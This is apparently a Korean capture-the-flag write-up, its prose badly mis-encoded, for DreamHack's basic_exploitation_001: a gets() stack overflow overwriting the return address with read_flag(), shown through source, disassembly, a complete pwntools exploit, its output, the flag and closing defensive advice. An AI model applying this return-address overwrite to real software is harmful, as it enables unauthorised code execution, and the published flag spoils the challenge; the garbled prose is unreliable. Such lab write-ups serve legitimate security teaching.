๋ฌธ์ : DreamHack โ basic_exploitation_001 ๋ถ๋ฅ: Pwnable (System Hacking) ๋์ด๋: ๐ฅ Bronze 4 FLAG:
DH{01ec06f5e1466e44f86a79444a7cd116}
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | basic_exploitation_001 |
| ๋์ด๋ | ๐ฅ Bronze 4 |
| ๋ถ๋ฅ | Pwnable |
| ์ ๊ณต ํ์ผ | basic_exploitation_001 (ELF 32-bit i386), basic_exploitation_001.c |
| ์๋ฒ | nc host3.dreamhack.games 9201 |
| ๋ณดํธ ๊ธฐ๋ฒ | No RELRO ยท No Canary ยท NX ยท No PIE |
| ํต์ฌ ์ทจ์ฝ์ | gets() ์คํ ๋ฒํผ ์ค๋ฒํ๋ก โ ๋ฆฌํด ์ฃผ์๋ฅผ read_flag()๋ก ๋ฎ๋ ret2win |
์์ค๊ฐ ํต์งธ๋ก ์ฃผ์ด์ง๋ค. ์ด๋ฆ ๊ทธ๋๋ก ์์คํ ํดํน ์ ๋ฌธ์ฉ ๋ฌธ์ ๋ก, ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ ๊ฐ์ฅ ๊ธฐ๋ณธํ์ด๋ค. ๋ฒํผ ๋ค ๋ฆฌํด ์ฃผ์๋ฅผ, ์ด๋ฏธ ๋ฐ์ด๋๋ฆฌ ์์ ๋ค์ด ์๋ "ํ๋๊ทธ๋ฅผ ์ถ๋ ฅํด ์ฃผ๋ ํจ์" ์ฃผ์๋ก ๋ฐ๊ฟ์น๊ธฐํ๋ฉด ๋๋ค. ์ ธ์ฝ๋๋ฅผ ์ฌ๋ฆด ํ์๋, ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์๋ฅผ ๊ตฌํ ํ์๋ ์๋ค.
file basic_exploitation_001 && pwn checksec basic_exploitation_001
No PIE๋ผ ์ฝ๋ยท์ ์ญ ์ฃผ์๊ฐ 0x8048000 ๊ธฐ์ค์ผ๋ก ์คํ๋ง๋ค ๊ณ ์ ์ด๊ณ , No canary๋ผ ์คํ์ ๋์ณ๋ ๋ง์์๋ ์นด๋๋ฆฌ ๊ฐ์ด ์๋ค. NX๊ฐ ์ผ์ ธ ์์ด ์คํ์์ ์
ธ์ฝ๋๋ฅผ ์คํํ๋ ๊ธธ์ ๋งํ ์์ง๋ง, ์ด ๋ฌธ์ ๋ ์ ์ด์ ์
ธ์ฝ๋๊ฐ ํ์ ์๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ gets()์ ret2win
C ํ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ gets()๋ ์ฝ์ ๊ธธ์ด๋ฅผ ์ธ์๋ก ๋ฐ์ง ์๋๋ค. ๊ฐํ์ ๋ง๋ ๋๊น์ง ๋ฌดํ์ ์
๋ ฅ์ ๋ฒํผ์ ์จ ๋ฃ๋๋ค. ๋ฒํผ๊ฐ ๋ช ๋ฐ์ดํธ์ธ์ง ํจ์๋ ์์ง ๋ชปํ๋ฏ๋ก, ๋ฒํผ๋ณด๋ค ๊ธด ์
๋ ฅ์ด ๋ค์ด์ค๋ฉด ๊ทธ๋๋ก ์ธ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ฎ์ด๋ฒ๋ฆฐ๋ค. ์ํ์ฑ์ด ๋๋ฌด ๋ช
๋ฐฑํด C11์์ ํ์ค์์ ์์ ์ ๊ฑฐ๋๊ณ , ์ปดํ์ผ ์ warning: the 'gets' function is dangerous๊ฐ ๋ฌ๋ค.
์คํ ํ๋ ์์์ ์ง์ญ ๋ฒํผ ๋ฐ๋ก ์(๋์ ์ฃผ์ ์ชฝ)์๋ ์ ์ฅ๋ EBP์ ํจ์์ ๋ฆฌํด ์ฃผ์๊ฐ ์ฐจ๋ก๋ก ๋์ธ๋ค. ํจ์๊ฐ ๋๋ ๋ CPU๋ ์ด ๋ฆฌํด ์ฃผ์๋ก ret ํ๋ค. gets()๋ก ๋ฒํผ๋ฅผ ๋์ณ ๋ฆฌํด ์ฃผ์๊น์ง ๋ฎ์ผ๋ฉด, ํจ์๊ฐ ๋๋๋ ์๊ฐ ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๊ณณ์ผ๋ก ์คํ ํ๋ฆ์ ๋๋ฆด ์ ์๋ค.
์ด๋ ์ ํํ ๊ณณ์ด ์ด๋ฏธ ๋ฐ์ด๋๋ฆฌ ์์ ์๋ ์น๋ฆฌ ํจ์(๋ณดํต win, get_flag, ์ฌ๊ธฐ์ read_flag)๋ฉด โ ์
ธ์ฝ๋๋, ROP ์ฒด์ธ๋ ํ์ ์์ด ๊ทธ ์ฃผ์ ํ๋๋ง ๋ฆฌํด ์๋ฆฌ์ ๋ฃ์ผ๋ฉด ๋๋ค. ์ด ํจํด์ ret2win์ด๋ผ๊ณ ๋ถ๋ฅธ๋ค.
![ํด๋ฆญํ์ฌ ํ๋ main ์คํ ํ๋ ์ โ buf[0x80] ๋ค์ saved EBP, ๊ทธ ๋ค์ ๋ฆฌํด ์ฃผ์๋ฅผ read_flag๋ก ๋ฎ๋๋ค](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-basic-exploitation-001-writeup%2Fdiagram_stack.png&w=3840&q=75)
๐ฌ ์ฝ๋ ์ ์ฐฐ
์์ค ์ ์ฒด๊ฐ ์งง๋ค.
void read_flag() {
system("cat flag"); // (A) ํ๋๊ทธ๋ฅผ ๊ทธ๋ฅ ์ถ๋ ฅํด ์ฃผ๋ ํจ์
}
int main(int argc, char *argv[]) {
char buf[0x80]; // (B) 128๋ฐ์ดํธ ์ง์ญ ๋ฒํผ
initialize();
gets(buf); // (C) ๊ธธ์ด ์ ํ ์๋ ์
๋ ฅ โ ์ค๋ฒํ๋ก
return 0;
}๋ณผ ๊ฑด ์ธ ๊ตฐ๋ฐ๋ค.
- (A)
read_flag()๋system("cat flag")๋ก ํ์ฌ ๋๋ ํ ๋ฆฌ์flagํ์ผ์ ์ถ๋ ฅํ๋ค. main์์๋ ํธ์ถ๋์ง ์๋๋ค โ ์ฐ๋ฆฌ๊ฐ ์ง์ ํ๋ฆ์ ๋์ด์์ผ ํ๋ค. - (B)
buf๋0x80(128)๋ฐ์ดํธ. - (C)
gets(buf)์ ๊ธธ์ด ๊ฒ์ฌ๊ฐ ์๋ค. 128๋ฐ์ดํธ๋ฅผ ๋๊ฒจ ๋ฆฌํด ์ฃผ์๋ฅผ ๋ฎ์ ์ ์๋ค.
๋์ค์ด์
๋ธ๋ก ๋ฒํผ ์์น์ read_flag ์ฃผ์๋ฅผ ํ์ ํ๋ค.
objdump -d -M intel basic_exploitation_001 | grep -A8 '<main>:'
objdump -d -M intel basic_exploitation_001 | grep -A6 '<read_flag>:'![ํด๋ฆญํ์ฌ ํ๋ main๊ณผ read_flag ๋์ค์ด์
๋ธ โ lea eax,[ebp-0x80] ํ gets@plt, read_flag=0x80485b9](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-basic-exploitation-001-writeup%2F02_disasm.png&w=3840&q=75)
๋ ๊ฐ์ง๊ฐ ํ์ ๋๋ค.
main์์gets์ ๋๊ธฐ๋ ๋ฒํผ๋lea eax,[ebp-0x80]โ ์ฆbuf๋ebp-0x80์ ์๋ค.read_flag๋0x80485b9์์ ์์ํ๊ณ , ์์์push 0x8048679("cat flag"๋ฌธ์์ด) ํsystem@plt๋ฅผ ํธ์ถํ๋ค.
No PIE๋ผ 0x80485b9๋ ์คํ๋ง๋ค ๊ณ ์ ์ด๋ค. ์ด ์ฃผ์๊ฐ ๊ทธ๋๋ก ๋ฆฌํด ์๋ฆฌ์ ๋ค์ด๊ฐ ๊ฐ์ด ๋๋ค.
๐ฃ ํต์ฌ โ ์คํ์ 132 ๋ค๊ฐ ๋ฆฌํด ์ฃผ์
buf๊ฐ ebp-0x80์ ์์ผ๋, ์คํ์ ๋ฎ์ ์ฃผ์์์ ๋์ ์ฃผ์๋ก ์ฑ์ ๊ฐ๋ฉด ์์๋ ์ด๋ ๋ค.
[ebp-0x80] โโ buf ์์
... 128๋ฐ์ดํธ (0x80)
[ebp-0x00] โโ saved EBP (4๋ฐ์ดํธ)
[ebp+0x04] โโ return addr (4๋ฐ์ดํธ) โ ์ฌ๊ธฐ๋ฅผ ๋ฎ๋๋คbuf๋ถํฐ ๋ฆฌํด ์ฃผ์๊น์ง์ ๊ฑฐ๋ฆฌ๋ ๋ฒํผ 0x80(128) + saved EBP 4 = 132๋ฐ์ดํธ๋ค. ์ฆ ์
๋ ฅ 132๋ฐ์ดํธ๋ ๊ทธ๋ฅ ํจ๋ฉ์ผ๋ก ํ๋ ค๋ณด๋ด๊ณ , ๊ทธ ๋ค์ 4๋ฐ์ดํธ์ read_flag ์ฃผ์๋ฅผ 32๋นํธ ๋ฆฌํ์๋์ธ์ผ๋ก ๋ฃ์ผ๋ฉด ๋ฆฌํด ์ฃผ์๊ฐ ์ ํํ ๊ทธ ๊ฐ์ผ๋ก ๋ฎ์ธ๋ค.
payload = b"A" * 132 + p32(0x80485b9)
โ buf 128 + saved EBP 4 โ โ return address โmain์ด return 0์ผ๋ก ๋๋๋ฉด์ ret์ ์คํํ๋ ์๊ฐ, ์คํ top์ ๋์ธ ์ด ๊ฐ์ผ๋ก ์ ํํ๋ค โ read_flag() โ system("cat flag") โ ํ๋๊ทธ๊ฐ ์์ผ์ผ๋ก ์ถ๋ ฅ๋๋ค.
๐ฏ ์ต์คํ๋ก์
ํ์ด๋ก๋ ํ ์ค์ด ์ ๋ถ๋ค. pwntools๋ก ์๊ฒฉ์ ๋ถ์ฌ ๋ณด๋ด๊ณ , ๋ค๋ฐ๋ผ ๋์ค๋ DH{...}๋ฅผ ๋ฐ์ ์ฐ๊ฒ ํ๋ค.
#!/usr/bin/env python3
# basic_exploitation_001 (Dreamhack, Bronze 4) โ ret2win
# buf=[ebp-0x80], gets() ์คํ BOF, no canary / no PIE.
# ret ์ฃผ์๋ฅผ read_flag()๋ก ๋ฎ์ผ๋ฉด read_flag๊ฐ system("cat flag")๋ฅผ ์คํํ๋ค.
from pwn import *
context.update(arch="i386", os="linux", log_level="error")
HOST, PORT = "host3.dreamhack.games", 9201
READ_FLAG = 0x80485b9 # read_flag() -> system("cat flag")
OFFSET = 0x80 + 4 # buf(0x80) + saved EBP(4) = 132
payload = b"A" * OFFSET + p32(READ_FLAG)
p = remote(HOST, PORT) if args.REMOTE else process("./basic_exploitation_001")
p.sendline(payload)
p.recvuntil(b"DH{")
flag = "DH{" + p.recvuntil(b"}").decode()
print(f"[+] offset = {OFFSET} (buf 0x80 + saved EBP 4)")
print(f"[+] read_flag = {hex(READ_FLAG)}")
print(f"[+] payload = b'A'*{OFFSET} + p32({hex(READ_FLAG)})")
print(f"[+] FLAG = {flag}")
p.close()์คํํ๋ฉด ๋ฆฌํด ํ ๋ฒ์ ํ๋๊ทธ๊ฐ ๋จ์ด์ง๋ค.

[+] offset = 132 (buf 0x80 + saved EBP 4)
[+] read_flag = 0x80485b9
[+] payload = b'A'*132 + p32(0x80485b9)
[+] FLAG = DH{01ec06f5e1466e44f86a79444a7cd116}ํ๋๊ทธ๋ DH{01ec06f5e1466e44f86a79444a7cd116}.
gets๊ฐ ์ถ๋ ฅํ๋ ์๋ด ๋ฉ์์ง๊ฐ ์์ด ํ์ด๋ก๋๋ฅผ ๋ณด๋ด์๋ง์ ๊ณง์ฅread_flag์cat flag์ถ๋ ฅ์ด ๋ฐ๋ผ์จ๋ค. ๊ทธ๋์recvuntil(b"DH{")๋ก ๋ฐ๋ก ํ๋๊ทธ ํค๋๋ฅผ ์ก์ผ๋ฉด ๋๋ค.
๐ ์ ๋ฆฌ
gets()๋ ๊ทธ ์์ฒด๋ก ์ทจ์ฝ์ ์ด๋ค.
๊ธธ์ด๋ฅผ ๋ฐ์ง ์๋ ์
๋ ฅ ํจ์๋ ๋ฒํผ ํฌ๊ธฐ๋ฅผ ๋ณด์ฅํ ๋ฐฉ๋ฒ์ด ์๋ค. ์ด ๋ฌธ์ ์ ์ฝ๋๋ gets(buf) ๋จ ํ ์ค๋ก ๋ฆฌํด ์ฃผ์๊น์ง ๊ฐ๋ ๊ธธ์ ์ด์ด ์คฌ๋ค. ์ค๋ฌด์์๋ fgets(buf, sizeof(buf), stdin)์ฒ๋ผ ์ฝ์ ๊ธธ์ด๋ฅผ ๋ช
์ํ๋ ํจ์๋ก ๋ฐ๊พธ๋ ๊ฒ์ด ์ฒซ ๋ฒ์งธ ๋ฐฉ์ด๋ค. ์ปดํ์ผ๋ฌ๊ฐ ๋์ฐ๋ gets ๊ฒฝ๊ณ ๋ฅผ ๋ฌด์ํ์ง ์๋ ๊ฒ๋ง์ผ๋ก๋ ์ด๋ฐ ํด๋์ค์ ๋ฒ๊ทธ๋ ๋๋ถ๋ถ ๊ฑธ๋ฌ์ง๋ค.
๋ณดํธ ๊ธฐ๋ฒ์ด ๋น ์ง ์๋ฆฌ์ ์ ํํ ๊ตฌ๋ฉ์ด ๋๋ค.
๋ฆฌํด ์ฃผ์๋ฅผ ๋ฎ์ด์ฐ๋ ๊ณต๊ฒฉ์ ์๋ ์คํ ์นด๋๋ฆฌ๊ฐ ๋ง๋๋ค. ํจ์ ์ง์
์ ๋ฒํผ์ ๋ฆฌํด ์ฃผ์ ์ฌ์ด์ ๋ฌด์์ ๊ฐ์ ์ฌ์ด ๋๊ณ , ๋ฆฌํด ์ง์ ๊ทธ ๊ฐ์ด ๋ฐ๋์๋์ง ๊ฒ์ฌํ๊ธฐ ๋๋ฌธ์ด๋ค. ์ด ๋ฐ์ด๋๋ฆฌ๋ ์นด๋๋ฆฌ๊ฐ ์์ด ๋ฎ์ด์จ๋ ๊ฒ์ฌ๊ฐ ์์๋ค. ๋ PIE/ASLR์ด ์์๋ค๋ฉด read_flag ์ฃผ์๊ฐ ์คํ๋ง๋ค ๋ฌ๋ผ์ ธ ํ ๋ฒ์ ๋งํ์ง ๋ชปํ์ ํ
๋ฐ, No PIE๋ผ 0x80485b9๊ฐ ๊ณ ์ ์ด์๋ค. ์ฆ ์นด๋๋ฆฌ + PIE ๋ ์ค ํ๋๋ง ์ผ์ ธ ์์์ด๋ ๋์ด๋๊ฐ ํ ์ฌ๋ผ๊ฐ๋ค. ๋ฐฉ์ด๋ ๊ฒฐ๊ตญ โ ๊ธธ์ด๋ฅผ ๊ฒ์ฌํ๋ ์
๋ ฅ ํจ์, ์คํ ์นด๋๋ฆฌ, ASLR(PIE) โ ์ด ์ธ ๊ฐ์ง๋ฅผ ์ผ ๋๋ ๊ฒ์ผ๋ก ์ถฉ๋ถํ ๋งํ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ